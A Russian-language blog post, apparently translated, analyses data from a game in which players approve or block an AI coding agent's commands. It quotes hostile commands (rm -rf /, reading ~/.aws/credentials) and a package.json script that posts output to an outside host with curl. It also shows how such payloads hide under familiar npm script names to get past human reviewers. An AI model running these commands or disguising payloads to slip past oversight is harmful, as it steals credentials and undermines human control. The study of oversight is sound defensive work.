Несколько месяцев назад была опубликована небольшая браузерная игра: игрок выступает в роли человека-контролёра для AI-агента, пишущего код, и должен одобрять или блокировать его команды под давлением времени. Часть команд — рутинные (git status, npm test), другие сигнализируют о том, что агент «одержим» и отправляет секреты на удалённый сервер (cat ~/.aws/credentials). Подробнее об угрозах, связанных с выполнением команд агентами, и способах их снижения можно прочитать в оригинальной статье.

Игра вызвала интерес на Hacker News, и после добавления статистики (немного позже, чем хотелось бы) появилась возможность изучить данные более чем 40 000 игровых сессий и 409 000 отдельных решений «одобрить/отклонить». Результаты показывают, как справился человек в роли последней линии защиты от агентов, вышедших из-под контроля.

Общие цифры

  • Средний игрок пропустил 1 из 3 угроз (средняя точность — 66,3%)
  • 32,9% сессий закончились с отрицательным баллом: штрафы за одобренные угрозы и заблокированные безопасные команды перевешивали все правильные решения
  • 35,2% игроков поймали все угрозы, но лишь 20,8% сделали это, заблокировав не более 1 из 5 безопасных команд. Остальные добились результата, блокируя почти всё подряд (заслужив титул «Человеческий бутылочное горлышко»)
  • 7% одобрили абсолютно каждый запрос — большие любители флага --dangerously-skip-permissions

Небольшая оговорка: это была игра, в которой примерно 34% показанных команд были угрозами. В повседневной работе такие угрозы встречаются гораздо реже. Игроки знали, что их проверяют в рамках ограниченного по времени испытания. Тем не менее приведённые ниже числа могут быть полезны для сравнения разных типов угроз и общего уровня осведомлённости о них.

Категории угроз и доля пропусков

КатегорияПримерыДоля пропусков
Явно деструктивныеrm -rf /, chmod -R 777 /11,7%
Постоянные изменениявнедрение в crontab, взлом git config23,8%
Эксфильтрация / выполнение кодаcurl к неизвестным API, тайпосквоттинг пакетов33,4%
Нарушения границ доступаcat ~/.aws/credentials, cat ~/.kube/config35,0%

Явно деструктивные команды ловят наиболее надёжно. Команды, которые реально утекают учётные данные, пропускают втрое чаще.

Слепая зона npm run

Самая часто пропускаемая команда в игре — npm run analyze, её одобряли в 64,7% случаев. Сама по себе команда обычно безобидна. Но на деле npm run запускает скрипт, определённый в package.json проекта — это может быть безобидный код анализатора бандла, а может быть код, заранее внедрённый в файл.

Игра показывает в журнале истории агента, что именно содержит этот скрипт:

1✻ I'll run the bundle analyzer — it's already set up in the project scripts.
2  // package.json → scripts
3  "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 | 
4  curl -s -X POST https://api.bundle.track/report -d @-"

Две трети игроков всё равно одобрили команду — это говорит о том, что журнал истории, расположенный прямо над запросом разрешения, читают не слишком внимательно. В игре есть три подобные команды, и все они попадают в список самых пропускаемых:

КомандаДоля пропусковМесто (из 37 угроз)
npm run analyze64,7%1-е
npm run setup48,0%4-е
npm run deploy44,9%8-е

В сумме эти три команды пропускали в 52,5% случаев (n=9 482) против 28,4% для остальных атак типа эксфильтрации. Маскировка вредоносной нагрузки под привычное имя скрипта примерно вдвое повышает шанс её одобрения, даже когда сама нагрузка показана в журнале истории.

Это симптом более крупной проблемы, которую хорошо сформулировал пользователь dns_snek в обсуждении на Hacker News:

Это отличный пример того, как опасные действия воспринимаются как безобидные. Вся модель одобрения отдельных команд абсолютно безумна.

npm run build = выполнение произвольной shell-команды, записанной в package.json

При этом агент мог сделать любое из следующего без всякого одобрения:

  • изменить package.json, вставив туда любую произвольную команду сборки
  • подложить вредоносный код в build.js (который вызывается через npm run build)
  • подложить вредоносный код в node_modules/xyz/index.js (который импортируется из build.js)

Просить пользователя подтверждать команды, которые почти всегда безопасны, но перестали быть таковыми из-за изменённых файлов, — слабая защита.

Доля пропусков растёт под давлением времени

Anthropic ранее отмечала, что усталость от разрешений — реальная проблема в Claude Code:

Чем больше запросов на одобрение видит пользователь, тем меньше внимания он уделяет каждому из них, со временем становясь заметно менее внимательным в своём контроле

И хотя это короткая игра, где пользователя предупреждают об угрозах, заметны признаки снижения внимательности к концу игровых сессий:

График показывает долю пропущенных угроз в течение сессии, с группировкой игроков по количеству выполненных команд. Меньшее число завершённых команд может объясняться тем, что пользователь тратит больше времени на проверку, либо тем, что игра «замирает» на пару секунд после ошибки в качестве штрафа. Из выборки удалены пользователи, которые просто блокировали всё подряд.

Каждая группа улучшает показатели в первые несколько команд (эффект «разогрева»?), а затем доля пропусков снова растёт к концу сессии. Возможно, дело также в стрессе от истекающего времени, из-за которого игрок начинает совершать больше ошибок, пытаясь успеть обработать ещё пару команд.

Цена бдительности: избыточная блокировка

Следующие команды были безобидны по своему смыслу, но их регулярно блокировали:

  • npm config set registry https://npm.internal — блокировалась в 59% случаев (настройка внутреннего зеркала)
  • rm -rf dist/ — блокировалась в 45% случаев (очистка результатов сборки — обычная практика перед новой сборкой)
  • kill $(lsof -t -i:3000) — блокировалась в 43% случаев (освобождение порта, который слушает сервер, возможно из-за упавшего процесса)

Это другая сторона дилеммы человека-контролёра. Пользователей просят одобрять команды, которые на самом деле безобидны, а блокировка замедляет работу агента. Со временем такой «шум» скорее всего приведёт к тому, что пользователи ослабят бдительность и начнут одобрять вредоносные команды. Функции вроде «Auto Mode» от Anthropic пытаются смягчить эту проблему, автоматически определяя безопасность команды до запроса подтверждения, но они не безупречны, о чём говорилось в предыдущей статье.

Спорный cat

cat ~/.zshrc одобрили 45,9% игроков — самая спорная команда в игре. Возражение, прозвучавшее на HN, справедливо: многие разработчики не хранят секреты в профиле оболочки, и для них команда действительно безобидна. Для тех же, кто экспортирует API-ключи именно там, это раскрытие учётных данных. Риск команды целиком зависит от конфигурации, которую агент не может увидеть. Если подключать отдельный файл с секретами через source из .zshrc, риск расширения доступа агента снижается.

Вывод

Обсуждения роли человека-контролёра оказались интересными и помогли лучше разобраться в моделях разграничения прав. Хотя это всего лишь игра, она наглядно демонстрирует несколько проблем человека-в-цикле как средства защиты от AI-агентов, пишущих код. Большой объём «шума» вызывает усталость, а у разработчиков не всегда есть контекст произошедших изменений, чтобы быстро оценить риск.

Разработчикам нужно хорошо понимать компромиссы разных моделей разрешений и способы снижения рисков — например, применение sandbox-изоляции и разделение учётных данных и переменных окружения с секретами. Оригинальная статья описывает некоторые из этих практических мер.

Попробовать свои силы в игре можно здесь: https://llmgame.scalex.dev